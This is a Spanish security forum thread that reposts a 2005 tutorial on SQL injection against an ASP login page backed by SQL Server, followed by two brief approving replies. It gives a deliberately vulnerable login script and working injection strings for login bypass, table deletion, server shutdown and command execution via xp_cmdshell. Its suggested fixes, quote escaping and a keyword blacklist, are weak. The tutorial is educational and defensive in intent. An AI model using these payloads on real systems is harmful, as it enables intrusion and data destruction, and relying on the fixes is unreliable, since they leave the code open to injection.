1. #1
    Dragonauta en Proceso

    Fecha de ingreso
    12 feb, 09
    Mensajes
    84
    Gracias
    33
    Agradecido 629 veces en 43 Mensajes

    Predeterminado Técnicas de SQL Injection

    Post publicado originalmente por 0zK4Rr en la comundiad dragonjar el 24 de Junio de 2005 (tratare de recuperar los temas interesantes que vea en archive.org para aportar algo a la comunidad)

    Introduccion

    Las aplicaciones Web, ya sean en modo público, Intranet o Extranet, habitualmente se conforman como mínimo por un servidor de aplicaciones y un servidor de base de datos. En ocasiones, nuestras páginas pueden ser atacadas mediante una sencilla pero poderosa técnica denominada "SQL Injection". En este artículo veremos en qué consiste y cómo defendernos contra este tipo de ataques.

    Pongamos un ejemplo. Supongamos que se ha desarrollado una tienda virtual y se ha publicado en Internet. Dicha tienda se ha desarrollado mediante las tradicionales páginas ASP y el motor de base de datos SQL Server.

    Primera fase del ataque

    Siguiendo con la tienda virtual, en ella se han situado unas casillas para que los usuarios puedan introducir su "login" y contraseña con el fin de autenticarse en el sistema y que por ejemplo se le puedan aplicar unos descuentos concretos. En los listados 1 y 2 se ofrece el código de ejemplo de esta pequeña aplicación web, en la parte que recoge los datos y los comprueba con la base de datos.

    Listado 1 - Formulario de inicio ("login.html")

    Código:
    <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
    <html>
    <head><title>SQL Injection</title></head>
    <body>
    <form action="login.asp" method="get">
    Login: <input type="text" name="strlogin" size="15" maxlength="100" />
     
    Password: <input type="text" name="strpassword" size="15" maxlength="100" />
     
    
     
    <input type="submit" name="enviar" value="enviar" />
    </form>
    </body>
    </html>
    Listado 2 - Página ASP de autenticación ("login.asp")
    Código:
    <%
    Option Explicit
    Dim strLogin, strPassword, strSQL
    Dim connection, rs
    
    strLogin = Request("strLogin")
    strPassword = Request("strPassword")
    strSQL = "SELECT * FROM users WHERE strlogin='" & strLogin & "' AND " &_
    " strpassword='" & strPassword & "'"
    
    Set connection = Server.CreateObject("ADODB.Connection")
    connection.Open("Provider=SQLOLEDB; Data Source=(local); Initial Catalog=tienda; User Id=sa; Password= ")
    
    Set rs = connection.Execute(strSQL)
    If( Not rs.EOF ) Then
    Response.Write("Indentificacion correcta")
    else
    Response.Write("Indentificacion INCORRECTA")
    End If
    rs.Close
    connection.Close
    
    
    Set rs = Nothing
    Set connection = Nothing
    %>

    Esta sería una página totalmente normal que cualquier desarrollador medio podría haber desarrollado. Créame cuando le digo que existen miles de páginas como ésta (y peores) colgadas en Internet, en ocasiones como única "guardia" de datos valiosos.

    Supongamos que el usuario llega a su formulario de identificación, e inserta los datos "oscar" como identificación y "abcdef" como contraseña. Por tanto, la cadena SQL final sería como la ofrecida en el Listado 3.

    Listado 3
    Código:
    SELECT user_id FROM users WHERE strlogin='oscar' AND strpassword='abcdef'

    Como se puede ver, la cadena SQL no utiliza comillas dobles para los valores de texto, sino comillas simples. Por otro lado, los comentarios en lenguaje SQL se escriben con un doble guíon "--", con lo cual, sería sencillo "cerrar" la cláusula SQL que creemos que el servidor va a ejecutar mediante los siguientes valores: En la casilla Login, se escribiría un valor cualquiera, por ejemplo "usuario", y en la casilla Password, escribiríamos lo siguiente (sin las comillas dobles):" 'or 1=1 --".

    Esta cadena, al ser concatenada por la página ASP como parte integrante de la cadena SQL final, hace que dicha sentencia se cierre, y se añada una cláusula OR que siempre será cierta (1=1). Además, para prevenir que el sistema dé un error, ya que todavía quedaría una comilla simple sin cerrar, se añade el símbolo del comentario en SQL, que hace que el sistema no haga caso al resto de la cadena SQL.

    Segunda fase del ataque

    Pero todavía se puede sacar más información de un sistema desprotegido. En el siguiente paso, escribiremos los siguientes valores en el formulario (sin las comillas dobles como siempre): Login: "' having 1=1 ---", y la contraseña se dejará en blanco. Por tanto, la cadena SQL final sería la del listado 4:

    Listado 4
    Código:
    SELECT user_id FROM users WHERE strlogin='' having 1=1 --- ' AND strpassword=''
    Suponiendo que el servidor Web esté configurado para ofrecer los mensajes de errores de aplicación completos, el mensaje de error ofrecido será similar al siguiente (Listado 5):

    Listado 4 - El mensaje de error
    Código:
    Microsoft OLE DB Provider for SQL Server error '80040e14'
    Column 'users.user_id' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.
    /login.asp, line 16
    Básicamente, este mensaje dice que la columna "users.user_id" se ha incluido en una función de agregación de SQL, mientras que no se ha encontrado una cláusula GROUP BY. Es un error meramente sintáctico de SQL, pero ofrece información interesante. En primer lugar, el atacante ya sabe que la tabla se llama "users" y que el primer campo se denomina "user_id". Esto es así, ya que se está utilizando una numeración predefinida para cada campo de la sentencia SQL, y el campo "1" es "user_id".

    Si ahora por tanto se introduce en la casilla de Login la siguiente cadena: "' or users.strlogin like '%' ---", estaremos accediendo de nuevo al sistema sin problemas. Con esta cadena, se accede como un usuario cualquiera. Podríamos utilizar la siguiente cadena: "' or users.strlogin like 'adm%' ---" para intentar acceder como un hipotético usuario "Admin", "Administrador", etc.


    Tercera fase del ataque

    Estos son ejemplos de los ataques más sencillos que podemos sufrir, pero no los más graves. La misma y sencilla técnica, se puede aplicar para intentar hacer mas "daño" al servidor atacado, o para intentar conseguir otro nivel de privilegios mas elevado.

    Supongamos que la cadena que insertamos en la casilla de "Login" es como la del listado 5. Esta sencilla cláusula ofrece acceso al sistema, pero además, gracias a la concatenación de sentencias SQL en una sola línea, que se consigue con el carácter de "punto y coma", conseguimos ejecutar otra sentencia SQL, en este caso de borrado de una tabla. Como se puede observar, este es un ataque igual de sencillo, pero mucho más dañino para el servidor. Puede amargarle el día a cualquier Web master sin una copia de seguridad de sus datos.

    Listado 5 - Una de las peores cadenas

    ' or 1=1; drop table users; --

    Una vez entrado hasta este nivel en el sistema, es posible ejecutar cualquier otro comando SQL. En el caso concreto de SQL Server, son muchos y muy peligrosos los comandos que se pueden ejecutar.

    Por ejemplo, con la cadena "'; shutdown with nowait; --" se consigue apagar el servidor de base de datos, dejando sin servicio a la aplicación Web, con las consecuencias que esto puede conllevar para una empresa u organización.

    SQL Server 2000 posee una serie de procedimientos almacenados que pueden intentar ejecutarse con esta técnica. Uno de los más peligrosos es el que permite ejecutar directamente una línea de comando en el sistema. Está recogida en el Listado 6, junto con unos cuantos ejemplos más de ataques maliciosos que pueden resultar muy perjudiciales para nuestro sistema.

    Listado 6 -Ataques realmente peligrosoS

    Código:
    '; exec master..xp_cmdshell 'iisreset'; --
    
    '; exec master..xp_regread HKEY_LOCAL_MACHINE,
    'SYSTEM\CurrentControlSet\Services\lanmanserver\pa rameters',
    'nullsessionshares'
    
    '; exec master..xp_servicecontrol 'start', 'schedule'; --


    Y estos son solo algunos ejemplos. Con un poco de "maña" se puede conseguir introducir registros en tablas, borrar o modificar registros en concreto, etc. Incluso se pueden llegar a escribir y ejecutar ficheros mucho mas complejos mediante el puente ActiveX que posee SQL Server en los procedimientos almacenados.

    Por ejemplo, supongamos que la tabla de usuarios tiene un primer campo del tipo "entero" (int) que se denomina "user_id". Resulta sencillo acceder a la versión del sistema que se está ejecutando mediante la cadena del listado 7, que ofrecería como resultado el Listado 8:

    Listado 7

    Código:
    ' union select @@version,1,1--
    Listado 8

    Código:
    Microsoft OLE DB Provider for SQL Server error '80040e07'
    Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft Corporation Developer Edition on Windows NT 5.2 (Build 3790: ) ' to a column of data type int.
    /login.asp, line 16
    Esto se produce ya que se ha intentado realizar una cláusula SELECT UNION, en la que el primer campo no coincide en tipo, ya que "user_id" en la primera tabla es de tipo "int", mientras que en la segunda tabla se está intentando unir un campo "nvarchar", que es el que representa la variable de sistema SQL Server @@version. Los siguientes campos ",1,1" son variables, y resulta necesario probar hasta que se da con el número de campos que tiene la primera tabla, ya que las cláusulas SQL UNION requieren que ambos SELECT devuelvan el mismo número de campos.


    Soluciones, soluciones!!

    Pero no todo es de color negro para el desarrollador. Existen distintas técnicas muy sencillas para prevenir este tipo de ataques, y vamos a verlas a continuación.

    La primera de ellas es no permitir el caracter de comilla simple " ' " en las cajas de texto que el usuario introduce. Como se trata de un caracter que puede ser válido en algunas ocasiones, como la calle "O'Donnell" por ejemplo, la técnica a utilizar es sustituir cualquier ocurrencia de este caracter en una cadena por dos caracteres de comilla simple (no confundir con un caracter de comilla doble). Esto permite trabajar con cadenas SQL mucho más seguras, y SQL Server permite dicha codificación. El listado 9 ofrece un sencillo ejemplo de cómo realizar esta operación. Como la operación habrá que repetirla en numerosas secciones del código fuente (en todas las operaciones de Request), se creará una función. La función está codificada en ASP, pero es sencillo extrapolarla hacia cualquier otro lenguaje de desarrollo.

    Listado 9 - La función salvadora y un ejemplo de cómo utilizarla

    Código:
    <%
    Function secureSQL( strVar )
    secureSQL = replace(strVar, "'", "''")
    End Function
    %>
    
    <%
    Dim strLogin
    strLogin = secureSQL ( Request("strlogin") )
    %>
    La siguiente medida a tomar es la supresión de caracteres extraños o sospechosos de todas las cadenas con que se trabaje. Para ello, modificaremos la función anterior para que haga un par de operaciones mas (ver listado 10).

    Listado 10 - Otra versión de la función secureSQL
    Código:
    <%
    Function secureSQL( strVar )
    dim banned, final, i
    
    banned = array("select", "drop", ";", "--", "insert","delete", "xp_")
    
    for i = 0 to uBound(banned)
    strVar = replace(strVar, banned(i), "")
    next
    
    final = replace(strVar, "'", "''")
    secureSQL = final
    End Function
    %>

    Conclusión

    Los ataques por SQL Injection son realmente peligrosos, no únicamente por la capacidad de daño que conllevan, sino porque son vulnerabilidades que muchos programadores no corrigen a tiempo. Esperamos que este artículo, más que para propiciar el uso de este tipo de ataques, sirva para prevenirlos. Como nota final a los lectores, un ruego personal: Si intentan reproducir este tipo de vulnerabilidades en algún sitio Web, comprueben únicamente alguno de los primeros ataques no perniciosos y avisen de forma altruista a las empresas que tengan este tipo de vulnerabilidades. Jugar con la seguridad y causar daños de este tipo puede afectar seriamente en la vida real a los profesionales o empresas que han realizado dichos desarrollos

  2. #2
    Moderador Global

    Fecha de ingreso
    10 sep, 08
    Ubicación
    Barcelona
    Mensajes
    681
    Gracias
    102
    Agradecido 681 veces en 185 Mensajes

    Predeterminado

    Merci está muy bien espero que sigas dáncole caña, donde siempre miraba yo este tipo de temas era en..

    Un informático en el lado del mal: Serialized SQL Injection: La previa
    e-crime analyst
    Twitter: @seifreed
    http://seifreed.com

  3. #3
    Dragonauta Oficial

    Fecha de ingreso
    07 sep, 08
    Ubicación
    Mexico D.F
    Mensajes
    1,364
    Gracias
    98
    Agradecido 248 veces en 129 Mensajes

    Predeterminado

    El blog de este señor es magnifico, tiene muchisima informacion

    Y la info de este post es muy concisa, me gusto mucho, tratare de ver igual en el archivo para ver que puedo recuperar


Temas similares

  1. Introduccion acerca de SQL-INJECTION...
    Por AR-TECH en el foro Auditorías / Test de Penetración
    Respuestas: 4
    Último mensaje: 09/05/2010, 03:37
  2. Laboratorios: Hacking Técnicas y Contramedidas
    Por 4v4t4r en el foro Laboratorios
    Respuestas: 3
    Último mensaje: 14/12/2008, 22:05
  3. Aprender técnicas de intrución actuales.
    Por elescarabajo en el foro Principiantes
    Respuestas: 3
    Último mensaje: 11/12/2008, 16:59
  4. Tecnicas de Data Carving
    Por jirusonu en el foro Informática Forense
    Respuestas: 11
    Último mensaje: 01/11/2008, 20:29
  5. SQL Injection Cheat Sheet
    Por 4v4t4r en el foro Seguridad en Bases de Datos
    Respuestas: 8
    Último mensaje: 23/09/2008, 09:10

Visitantes encuentran esta página buscando por:

tecnicas de sql injection

comandos para sql injection

comando de sql injection

admin login.asp

sentencia sql injection

comandos de sql injection

tecnicas sql injection

sentencias de sql injection

comandos de inyeccion sql

sql injection comandos

comando inyeccion sql

comando sql injection

tecnicas de ataque que hay para sql injection

sentencias sql injection

comandos inyeccion sql

adminlogin.asp

consultas sql injection

tecnicas de ataque sql injection

sql injection sentencias

comandos basicos de sql injection

comandos sql injection

injection

comando sql inyectionsql injeccion comandoscomandos para login.asp

Etiquetas para este tema

Permisos de publicación

  • No puedes crear nuevos temas
  • No puedes responder temas
  • No puedes subir archivos adjuntos
  • No puedes editar tus mensajes
  •  

Iniciar sesión

Iniciar sesión